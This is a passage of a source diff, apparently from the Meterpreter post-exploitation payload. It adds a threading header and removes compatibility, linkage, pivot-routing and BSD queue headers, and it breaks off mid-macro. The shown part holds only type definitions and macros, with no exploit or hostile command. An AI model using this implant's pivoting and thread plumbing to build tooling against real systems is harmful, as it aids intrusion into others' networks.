|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
|
||||
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
|
||||
|
||||
#endif
|
31
c/meterpreter/source/common/common_thread.h
Normal file
31
c/meterpreter/source/common/common_thread.h
Normal file
@ -0,0 +1,31 @@
|
||||
#ifndef _METERPRETER_COMMON_THREAD_H
|
||||
#define _METERPRETER_COMMON_THREAD_H
|
||||
|
||||
typedef struct _LOCK
|
||||
{
|
||||
HANDLE handle;
|
||||
} LOCK, * LPLOCK;
|
||||
|
||||
typedef struct _EVENT
|
||||
{
|
||||
HANDLE handle;
|
||||
} EVENT, * LPEVENT;
|
||||
|
||||
#define THREADCALL __stdcall
|
||||
|
||||
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
|
||||
|
||||
struct _THREAD
|
||||
{
|
||||
DWORD id;
|
||||
HANDLE handle;
|
||||
EVENT * sigterm;
|
||||
THREADFUNK funk;
|
||||
LPVOID parameter1;
|
||||
LPVOID parameter2;
|
||||
LPVOID parameter3;
|
||||
};
|
||||
|
||||
typedef struct _THREAD THREAD, * LPTHREAD;
|
||||
|
||||
#endif
|
@ -1,235 +0,0 @@
|
||||
#ifndef UNIX_COMPAT_TYPES_H
|
||||
#define UNIX_COMPAT_TYPES_H
|
||||
#include <sys/errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#if defined(__FreeBSD__)
|
||||
#include <sys/filio.h>
|
||||
#elif defined(__linux__)
|
||||
#define __va_list __ptr_t
|
||||
#define __USE_XOPEN
|
||||
#else
|
||||
#error unknown OS
|
||||
#endif
|
||||
|
||||
#define NULL ((void *)0)
|
||||
|
||||
#if 0
|
||||
// PKS, should use system headers.
|
||||
#define PAGE_SIZE 4096
|
||||
#define PAGE_SHIFT 12
|
||||
#endif
|
||||
|
||||
/*
|
||||
* need to separate out platform types
|
||||
*/
|
||||
|
||||
#if defined(__FreeBSD__)
|
||||
#if defined(__LP64__)
|
||||
typedef int64_t intptr_t;
|
||||
typedef uint64_t uintptr_t;
|
||||
typedef uint64_t uintmax_t;
|
||||
#else
|
||||
typedef int32_t intptr_t;
|
||||
typedef uint32_t uintptr_t;
|
||||
typedef uint32_t uintmax_t;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if 0
|
||||
#define PAGE_MASK (PAGE_SIZE-1)
|
||||
#endif
|
||||
|
||||
#define trunc_page(x) ((unsigned long)(x) & ~(PAGE_MASK))
|
||||
|
||||
|
||||
#define _strdup strdup
|
||||
#define _vsnprintf vsnprintf
|
||||
|
||||
#define strcat_s(buf1, len, buf2) strcat((buf1), (buf2))
|
||||
#define closesocket close
|
||||
|
||||
#if 0
|
||||
/*
|
||||
* Protections are chosen from these bits, or-ed together
|
||||
*/
|
||||
#define PROT_NONE 0x00 /* no permissions */
|
||||
#define PROT_READ 0x01 /* pages can be read */
|
||||
#define PROT_WRITE 0x02 /* pages can be written */
|
||||
#define PROT_EXEC 0x04 /* pages can be executed */
|
||||
|
||||
/*
|
||||
* Flags contain sharing type and options.
|
||||
* Sharing types; choose one.
|
||||
*/
|
||||
#define MAP_SHARED 0x0001 /* share changes */
|
||||
#define MAP_PRIVATE 0x0002 /* changes are private */
|
||||
|
||||
/*
|
||||
* Mapping type
|
||||
*/
|
||||
#define MAP_FILE 0x0000 /* map from file (default) */
|
||||
#define MAP_ANON 0x1000 /* allocated from memory, swap space */
|
||||
|
||||
/*
|
||||
* Error return from mmap()
|
||||
*/
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
|
||||
/*
|
||||
* Advice to madvise
|
||||
*/
|
||||
#define _MADV_NORMAL 0 /* no further special treatment */
|
||||
#define _MADV_RANDOM 1 /* expect random page references */
|
||||
#define _MADV_SEQUENTIAL 2 /* expect sequential page references */
|
||||
#define _MADV_WILLNEED 3 /* will need these pages */
|
||||
#define _MADV_DONTNEED 4 /* dont need these pages */
|
||||
|
||||
#define MADV_NORMAL _MADV_NORMAL
|
||||
#define MADV_RANDOM _MADV_RANDOM
|
||||
#define MADV_SEQUENTIAL _MADV_SEQUENTIAL
|
||||
#define MADV_WILLNEED _MADV_WILLNEED
|
||||
#define MADV_DONTNEED _MADV_DONTNEED
|
||||
#define MADV_FREE 5 /* dont need these pages, and junk contents */
|
||||
|
||||
void *memcpy(void *idst, const void *isrc, size_t n);
|
||||
|
||||
int strcmp (const char *s1, const char *s2);
|
||||
|
||||
int strncmp(const char *s1, const char *s2, size_t n);
|
||||
|
||||
size_t strlen (const char *s);
|
||||
|
||||
char *strcpy (char *dst, const char *src);
|
||||
|
||||
char *strcat (char *dst, const char *src);
|
||||
|
||||
char *strstr(const char *s, const char *find);
|
||||
|
||||
unsigned long s_strtoul (const char *cp);
|
||||
|
||||
void *memset(void *b, int c, size_t len);
|
||||
|
||||
void bzero(void *b, size_t len);
|
||||
|
||||
char *strdup(const char *__restrict);
|
||||
|
||||
#define STDIN_FILENO 0 /* standard input file descriptor */
|
||||
#define STDOUT_FILENO 1 /* standard output file descriptor */
|
||||
#define STDERR_FILENO 2 /* standard error file descriptor */
|
||||
|
||||
ssize_t write(int d, const void *buf, size_t nbytes);
|
||||
ssize_t read(int d, void *buf, size_t nbytes);
|
||||
|
||||
void abort(void);
|
||||
|
||||
void free(void *ptr);
|
||||
|
||||
void *malloc(size_t size);
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef __GNUCLIKE_BUILTIN_STDARG
|
||||
|
||||
#ifndef va_start
|
||||
#define va_start(ap, last) \
|
||||
__builtin_va_start((ap), (last))
|
||||
#endif
|
||||
|
||||
#ifndef va_arg
|
||||
#define va_arg(ap, type) \
|
||||
__builtin_va_arg((ap), type)
|
||||
#endif
|
||||
|
||||
#ifndef __va_copy
|
||||
#define __va_copy(dest, src) \
|
||||
__builtin_va_copy((dest), (src))
|
||||
#endif
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#ifndef va_copy
|
||||
#define va_copy(dest, src) \
|
||||
__va_copy(dest, src)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef va_end
|
||||
#define va_end(ap) \
|
||||
__builtin_va_end(ap)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
typedef char BOOL;
|
||||
typedef char BOOLEAN;
|
||||
typedef BOOL * LPBOOL;
|
||||
typedef char CHAR;
|
||||
typedef CHAR * PCHAR;
|
||||
typedef void * LPVOID;
|
||||
typedef unsigned char BYTE;
|
||||
typedef BYTE * LPBYTE;
|
||||
|
||||
|
||||
typedef uint32_t ULONG;
|
||||
typedef uint32_t * PULONG;
|
||||
typedef const char CSTR;
|
||||
typedef const wchar_t CWSTR;
|
||||
typedef unsigned char UCHAR;
|
||||
typedef UCHAR * PUCHAR;
|
||||
typedef CSTR * LPCSTR;
|
||||
typedef CWSTR * LPCWSTR;
|
||||
typedef char * LPSTR;
|
||||
typedef long DWORD;
|
||||
typedef DWORD * LPDWORD;
|
||||
typedef int32_t LONG;
|
||||
typedef LONG * LPLONG;
|
||||
typedef unsigned int UINT;
|
||||
typedef int HANDLE;
|
||||
typedef int SOCKET;
|
||||
typedef void VOID;
|
||||
typedef VOID * PVOID;
|
||||
typedef void * HMODULE;
|
||||
typedef short SHORT;
|
||||
typedef unsigned short USHORT;
|
||||
typedef uint64_t QWORD;
|
||||
|
||||
#ifndef TRUE
|
||||
#define TRUE (1)
|
||||
#endif
|
||||
#ifndef FALSE
|
||||
#define FALSE (0)
|
||||
#endif
|
||||
|
||||
#define ERROR_NOT_FOUND ENOENT
|
||||
#define ERROR_NOT_ENOUGH_MEMORY ENOMEM
|
||||
#define ERROR_INVALID_PARAMETER EINVAL
|
||||
#define ERROR_INVALID_HANDLE EINVAL
|
||||
#define ERROR_INVALID_DATA EINVAL
|
||||
#define ERROR_INVALID_FUNCTION EINVAL
|
||||
#define ERROR_UNSUPPORTED_COMPRESSION EINVAL
|
||||
#define ERROR_NOT_SUPPORTED EOPNOTSUPP
|
||||
|
||||
#if defined(__FreeBSD__)
|
||||
#define ERROR_INSTALL_USEREXIT EPROGUNAVAIL
|
||||
#elif defined(__linux__)
|
||||
#define ERROR_INSTALL_USEREXIT ENOPROTOOPT
|
||||
#else
|
||||
#error unknown OS
|
||||
#endif
|
||||
|
||||
#define ERROR_SUCCESS (0)
|
||||
#define NO_ERROR (0)
|
||||
|
||||
int local_error;
|
||||
|
||||
#define WSAGetLastError() GetLastError()
|
||||
#define GetLastError() (local_error != -1 ? local_error : errno)
|
||||
#define SetLastError(x) (local_error = (x))
|
||||
#define __declspec(x)
|
||||
|
||||
#define __try
|
||||
#define __except(x) if (0)
|
||||
|
||||
#endif
|
@ -1,14 +0,0 @@
|
||||
#ifndef _METERPRETER_LIB_LINKAGE_H
|
||||
#define _METERPRETER_LIB_LINKAGE_H
|
||||
|
||||
#ifdef USE_DLL
|
||||
#ifdef METERPRETER_EXPORTS
|
||||
#define LINKAGE __declspec(dllexport)
|
||||
#else
|
||||
#define LINKAGE __declspec(dllimport)
|
||||
#endif
|
||||
#else
|
||||
#define LINKAGE
|
||||
#endif
|
||||
|
||||
#endif
|
@ -1,6 +0,0 @@
|
||||
#ifndef _METERPRETER_PIVOT_PACKET_DISPATCH
|
||||
#define _METERPRETER_PIVOT_PACKET_DISPATCH
|
||||
|
||||
DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize);
|
||||
|
||||
#endif
|
@ -1,35 +0,0 @@
|
||||
#ifndef _METERPRETER_PIVOT_TREE
|
||||
#define _METERPRETER_PIVOT_TREE
|
||||
|
||||
typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength);
|
||||
typedef DWORD(*PivotRemove)(LPVOID state);
|
||||
|
||||
typedef struct _PivotContext
|
||||
{
|
||||
PivotWritePacket packet_write;
|
||||
PivotRemove remove;
|
||||
LPVOID state;
|
||||
} PivotContext;
|
||||
|
||||
typedef struct _PivotNode PivotNode;
|
||||
|
||||
typedef struct _PivotTree
|
||||
{
|
||||
PivotNode* head;
|
||||
} PivotTree;
|
||||
|
||||
typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state);
|
||||
|
||||
PivotTree* pivot_tree_create();
|
||||
DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx);
|
||||
PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid);
|
||||
PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid);
|
||||
void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state);
|
||||
void pivot_tree_destroy(PivotTree* tree);
|
||||
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
void dbgprint_pivot_tree(PivotTree* tree);
|
||||
#endif
|
||||
|
||||
#endif
|
@ -1,627 +0,0 @@
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)queue.h 8.5 (Berkeley) 8/20/94
|
||||
* $FreeBSD: head/sys/sys/queue.h 179210 2008-05-22 14:40:03Z ed $
|
||||
*/
|
||||
|
||||
#ifndef _SYS_QUEUE_H_
|
||||
#define _SYS_QUEUE_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
/*
|
||||
* This file defines four types of data structures: singly-linked lists,
|
||||
* singly-linked tail queues, lists and tail queues.
|
||||
*
|
||||
* A singly-linked list is headed by a single forward pointer. The elements
|
||||
* are singly linked for minimum space and pointer manipulation overhead at
|
||||
* the expense of O(n) removal for arbitrary elements. New elements can be
|
||||
* added to the list after an existing element or at the head of the list.
|
||||
* Elements being removed from the head of the list should use the explicit
|
||||
* macro for this purpose for optimum efficiency. A singly-linked list may
|
||||
* only be traversed in the forward direction. Singly-linked lists are ideal
|
||||
* for applications with large datasets and few or no removals or for
|
||||
* implementing a LIFO queue.
|
||||
*
|
||||
* A singly-linked tail queue is headed by a pair of pointers, one to the
|
||||
* head of the list and the other to the tail of the list. The elements are
|
||||
* singly linked for minimum space and pointer manipulation overhead at the
|
||||
* expense of O(n) removal for arbitrary elements. New elements can be added
|
||||
* to the list after an existing element, at the head of the list, or at the
|
||||
* end of the list. Elements being removed from the head of the tail queue
|
||||
* should use the explicit macro for this purpose for optimum efficiency.
|
||||
* A singly-linked tail queue may only be traversed in the forward direction.
|
||||
* Singly-linked tail queues are ideal for applications with large datasets
|
||||
* and few or no removals or for implementing a FIFO queue.
|
||||
*
|
||||
* A list is headed by a single forward pointer (or an array of forward
|
||||
* pointers for a hash table header). The elements are doubly linked
|
||||
* so that an arbitrary element can be removed without a need to
|
||||
* traverse the list. New elements can be added to the list before
|
||||
* or after an existing element or at the head of the list. A list
|
||||
* may only be traversed in the forward direction.
|
||||
*
|
||||
* A tail queue is headed by a pair of pointers, one to the head of the
|
||||
* list and the other to the tail of the list. The elements are doubly
|
||||
* linked so that an arbitrary element can be removed without a need to
|
||||
* traverse the list. New elements can be added to the list before or
|
||||
* after an existing element, at the head of the list, or at the end of
|
||||
* the list. A tail queue may be traversed in either direction.
|
||||
*
|
||||
* For details on the use of these macros, see the queue(3) manual page.
|
||||
*
|
||||
*
|
||||
* SLIST LIST STAILQ TAILQ
|
||||
* _HEAD + + + +
|
||||
* _HEAD_INITIALIZER + + + +
|
||||
* _ENTRY + + + +
|
||||
* _INIT + + + +
|
||||
* _EMPTY + + + +
|
||||
* _FIRST + + + +
|
||||
* _NEXT + + + +
|
||||
* _PREV - - - +
|
||||
* _LAST - - + +
|
||||
* _FOREACH + + + +
|
||||
* _FOREACH_SAFE + + + +
|
||||
* _FOREACH_REVERSE - - - +
|
||||
* _FOREACH_REVERSE_SAFE - - - +
|
||||
* _INSERT_HEAD + + + +
|
||||
* _INSERT_BEFORE - + - +
|
||||
* _INSERT_AFTER + + + +
|
||||
* _INSERT_TAIL - - + +
|
||||
* _CONCAT - - + +
|
||||
* _REMOVE_HEAD + - + -
|
||||
* _REMOVE_NEXT + - + -
|
||||
* _REMOVE + + + +
|
||||
*
|
||||
*/
|
||||
#ifdef QUEUE_MACRO_DEBUG
|
||||
/* Store the last 2 places the queue element or head was altered */
|
||||
struct qm_trace {
|
||||
char * lastfile;
|
||||
int lastline;
|
||||
char * prevfile;
|
||||
int prevline;
|
||||
};
|
||||
|
||||
#define TRACEBUF struct qm_trace trace;
|
||||
#define TRASHIT(x) do {(x) = (void *)-1;} while (0)
|
||||
|
||||
#define QMD_TRACE_HEAD(head) do { \
|
||||
(head)->trace.prevline = (head)->trace.lastline; \
|
||||
(head)->trace.prevfile = (head)->trace.lastfile; \
|
||||
(head)->trace.lastline = __LINE__; \
|
||||
(head)->trace.lastfile = __FILE__; \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TRACE_ELEM(elem) do { \
|
||||
(elem)->trace.prevline = (elem)->trace.lastline; \
|
||||
(elem)->trace.prevfile = (elem)->trace.lastfile; \
|
||||
(elem)->trace.lastline = __LINE__; \
|
||||
(elem)->trace.lastfile = __FILE__; \
|
||||
} while (0)
|
||||
|
||||
#else
|
||||
#define QMD_TRACE_ELEM(elem)
|
||||
#define QMD_TRACE_HEAD(head)
|
||||
#define TRACEBUF
|
||||
#define TRASHIT(x)
|
||||
#endif /* QUEUE_MACRO_DEBUG */
|
||||
|
||||
/*
|
||||
* Singly-linked List declarations.
|
||||
*/
|
||||
#define SLIST_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *slh_first; /* first element */ \
|
||||
}
|
||||
|
||||
#define SLIST_HEAD_INITIALIZER(head) \
|
||||
{ NULL }
|
||||
|
||||
#define SLIST_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *sle_next; /* next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* Singly-linked List functions.
|
||||
*/
|
||||
#define SLIST_EMPTY(head) ((head)->slh_first == NULL)
|
||||
|
||||
#define SLIST_FIRST(head) ((head)->slh_first)
|
||||
|
||||
#define SLIST_FOREACH(var, head, field) \
|
||||
for ((var) = SLIST_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = SLIST_NEXT((var), field))
|
||||
|
||||
#define SLIST_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = SLIST_FIRST((head)); \
|
||||
(var) && ((tvar) = SLIST_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define SLIST_FOREACH_PREVPTR(var, varp, head, field) \
|
||||
for ((varp) = &SLIST_FIRST((head)); \
|
||||
((var) = *(varp)) != NULL; \
|
||||
(varp) = &SLIST_NEXT((var), field))
|
||||
|
||||
#define SLIST_INIT(head) do { \
|
||||
SLIST_FIRST((head)) = NULL; \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \
|
||||
SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \
|
||||
SLIST_NEXT((slistelm), field) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_INSERT_HEAD(head, elm, field) do { \
|
||||
SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \
|
||||
SLIST_FIRST((head)) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_NEXT(elm, field) ((elm)->field.sle_next)
|
||||
|
||||
#define SLIST_REMOVE(head, elm, type, field) do { \
|
||||
if (SLIST_FIRST((head)) == (elm)) { \
|
||||
SLIST_REMOVE_HEAD((head), field); \
|
||||
} \
|
||||
else { \
|
||||
struct type *curelm = SLIST_FIRST((head)); \
|
||||
while (SLIST_NEXT(curelm, field) != (elm)) \
|
||||
curelm = SLIST_NEXT(curelm, field); \
|
||||
SLIST_REMOVE_NEXT(head, curelm, field); \
|
||||
} \
|
||||
TRASHIT((elm)->field.sle_next); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_REMOVE_NEXT(head, elm, field) do { \
|
||||
SLIST_NEXT(elm, field) = \
|
||||
SLIST_NEXT(SLIST_NEXT(elm, field), field); \
|
||||
} while (0)
|
||||
|
||||
#define SLIST_REMOVE_HEAD(head, field) do { \
|
||||
SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* Singly-linked Tail queue declarations.
|
||||
*/
|
||||
#define STAILQ_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *stqh_first;/* first element */ \
|
||||
struct type **stqh_last;/* addr of last next element */ \
|
||||
}
|
||||
|
||||
#define STAILQ_HEAD_INITIALIZER(head) \
|
||||
{ NULL, &(head).stqh_first }
|
||||
|
||||
#define STAILQ_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *stqe_next; /* next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* Singly-linked Tail queue functions.
|
||||
*/
|
||||
#define STAILQ_CONCAT(head1, head2) do { \
|
||||
if (!STAILQ_EMPTY((head2))) { \
|
||||
*(head1)->stqh_last = (head2)->stqh_first; \
|
||||
(head1)->stqh_last = (head2)->stqh_last; \
|
||||
STAILQ_INIT((head2)); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_EMPTY(head) ((head)->stqh_first == NULL)
|
||||
|
||||
#define STAILQ_FIRST(head) ((head)->stqh_first)
|
||||
|
||||
#define STAILQ_FOREACH(var, head, field) \
|
||||
for((var) = STAILQ_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = STAILQ_NEXT((var), field))
|
||||
|
||||
|
||||
#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = STAILQ_FIRST((head)); \
|
||||
(var) && ((tvar) = STAILQ_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define STAILQ_INIT(head) do { \
|
||||
STAILQ_FIRST((head)) = NULL; \
|
||||
(head)->stqh_last = &STAILQ_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \
|
||||
if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
STAILQ_NEXT((tqelm), field) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_INSERT_HEAD(head, elm, field) do { \
|
||||
if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
STAILQ_FIRST((head)) = (elm); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_INSERT_TAIL(head, elm, field) do { \
|
||||
STAILQ_NEXT((elm), field) = NULL; \
|
||||
*(head)->stqh_last = (elm); \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_LAST(head, type, field) \
|
||||
(STAILQ_EMPTY((head)) ? \
|
||||
NULL : \
|
||||
((struct type *)(void *) \
|
||||
((char *)((head)->stqh_last) - __offsetof(struct type, field))))
|
||||
|
||||
#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next)
|
||||
|
||||
#define STAILQ_REMOVE(head, elm, type, field) do { \
|
||||
if (STAILQ_FIRST((head)) == (elm)) { \
|
||||
STAILQ_REMOVE_HEAD((head), field); \
|
||||
} \
|
||||
else { \
|
||||
struct type *curelm = STAILQ_FIRST((head)); \
|
||||
while (STAILQ_NEXT(curelm, field) != (elm)) \
|
||||
curelm = STAILQ_NEXT(curelm, field); \
|
||||
STAILQ_REMOVE_NEXT(head, curelm, field); \
|
||||
} \
|
||||
TRASHIT((elm)->field.stqe_next); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_REMOVE_HEAD(head, field) do { \
|
||||
if ((STAILQ_FIRST((head)) = \
|
||||
STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_REMOVE_NEXT(head, elm, field) do { \
|
||||
if ((STAILQ_NEXT(elm, field) = \
|
||||
STAILQ_NEXT(STAILQ_NEXT(elm, field), field)) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* List declarations.
|
||||
*/
|
||||
#define LIST_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *lh_first; /* first element */ \
|
||||
}
|
||||
|
||||
#define LIST_HEAD_INITIALIZER(head) \
|
||||
{ NULL }
|
||||
|
||||
#define LIST_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *le_next; /* next element */ \
|
||||
struct type **le_prev; /* address of previous next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* List functions.
|
||||
*/
|
||||
|
||||
#if (defined(_KERNEL) && defined(INVARIANTS))
|
||||
#define QMD_LIST_CHECK_HEAD(head, field) do { \
|
||||
if (LIST_FIRST((head)) != NULL && \
|
||||
LIST_FIRST((head))->field.le_prev != \
|
||||
&LIST_FIRST((head))) \
|
||||
panic("Bad list head %p first->prev != head", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_LIST_CHECK_NEXT(elm, field) do { \
|
||||
if (LIST_NEXT((elm), field) != NULL && \
|
||||
LIST_NEXT((elm), field)->field.le_prev != \
|
||||
&((elm)->field.le_next)) \
|
||||
panic("Bad link elm %p next->prev != elm", (elm)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_LIST_CHECK_PREV(elm, field) do { \
|
||||
if (*(elm)->field.le_prev != (elm)) \
|
||||
panic("Bad link elm %p prev->next != elm", (elm)); \
|
||||
} while (0)
|
||||
#else
|
||||
#define QMD_LIST_CHECK_HEAD(head, field)
|
||||
#define QMD_LIST_CHECK_NEXT(elm, field)
|
||||
#define QMD_LIST_CHECK_PREV(elm, field)
|
||||
#endif /* (_KERNEL && INVARIANTS) */
|
||||
|
||||
#define LIST_EMPTY(head) ((head)->lh_first == NULL)
|
||||
|
||||
#define LIST_FIRST(head) ((head)->lh_first)
|
||||
|
||||
#define LIST_FOREACH(var, head, field) \
|
||||
for ((var) = LIST_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = LIST_NEXT((var), field))
|
||||
|
||||
#define LIST_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = LIST_FIRST((head)); \
|
||||
(var) && ((tvar) = LIST_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define LIST_INIT(head) do { \
|
||||
LIST_FIRST((head)) = NULL; \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_AFTER(listelm, elm, field) do { \
|
||||
QMD_LIST_CHECK_NEXT(listelm, field); \
|
||||
if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\
|
||||
LIST_NEXT((listelm), field)->field.le_prev = \
|
||||
&LIST_NEXT((elm), field); \
|
||||
LIST_NEXT((listelm), field) = (elm); \
|
||||
(elm)->field.le_prev = &LIST_NEXT((listelm), field); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_BEFORE(listelm, elm, field) do { \
|
||||
QMD_LIST_CHECK_PREV(listelm, field); \
|
||||
(elm)->field.le_prev = (listelm)->field.le_prev; \
|
||||
LIST_NEXT((elm), field) = (listelm); \
|
||||
*(listelm)->field.le_prev = (elm); \
|
||||
(listelm)->field.le_prev = &LIST_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_HEAD(head, elm, field) do { \
|
||||
QMD_LIST_CHECK_HEAD((head), field); \
|
||||
if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \
|
||||
LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\
|
||||
LIST_FIRST((head)) = (elm); \
|
||||
(elm)->field.le_prev = &LIST_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_NEXT(elm, field) ((elm)->field.le_next)
|
||||
|
||||
#define LIST_REMOVE(elm, field) do { \
|
||||
QMD_LIST_CHECK_NEXT(elm, field); \
|
||||
QMD_LIST_CHECK_PREV(elm, field); \
|
||||
if (LIST_NEXT((elm), field) != NULL) \
|
||||
LIST_NEXT((elm), field)->field.le_prev = \
|
||||
(elm)->field.le_prev; \
|
||||
*(elm)->field.le_prev = LIST_NEXT((elm), field); \
|
||||
TRASHIT((elm)->field.le_next); \
|
||||
TRASHIT((elm)->field.le_prev); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* Tail queue declarations.
|
||||
*/
|
||||
#define TAILQ_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *tqh_first; /* first element */ \
|
||||
struct type **tqh_last; /* addr of last next element */ \
|
||||
TRACEBUF \
|
||||
}
|
||||
|
||||
#define TAILQ_HEAD_INITIALIZER(head) \
|
||||
{ NULL, &(head).tqh_first }
|
||||
|
||||
#define TAILQ_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *tqe_next; /* next element */ \
|
||||
struct type **tqe_prev; /* address of previous next element */ \
|
||||
TRACEBUF \
|
||||
}
|
||||
|
||||
/*
|
||||
* Tail queue functions.
|
||||
*/
|
||||
#if (defined(_KERNEL) && defined(INVARIANTS))
|
||||
#define QMD_TAILQ_CHECK_HEAD(head, field) do { \
|
||||
if (!TAILQ_EMPTY(head) && \
|
||||
TAILQ_FIRST((head))->field.tqe_prev != \
|
||||
&TAILQ_FIRST((head))) \
|
||||
panic("Bad tailq head %p first->prev != head", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_TAIL(head, field) do { \
|
||||
if (*(head)->tqh_last != NULL) \
|
||||
panic("Bad tailq NEXT(%p->tqh_last) != NULL", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_NEXT(elm, field) do { \
|
||||
if (TAILQ_NEXT((elm), field) != NULL && \
